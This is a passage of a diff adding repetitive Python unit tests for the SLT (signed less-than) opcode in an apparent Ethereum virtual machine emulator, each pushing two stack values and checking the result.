+
+    def test_SLT_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_48(self):
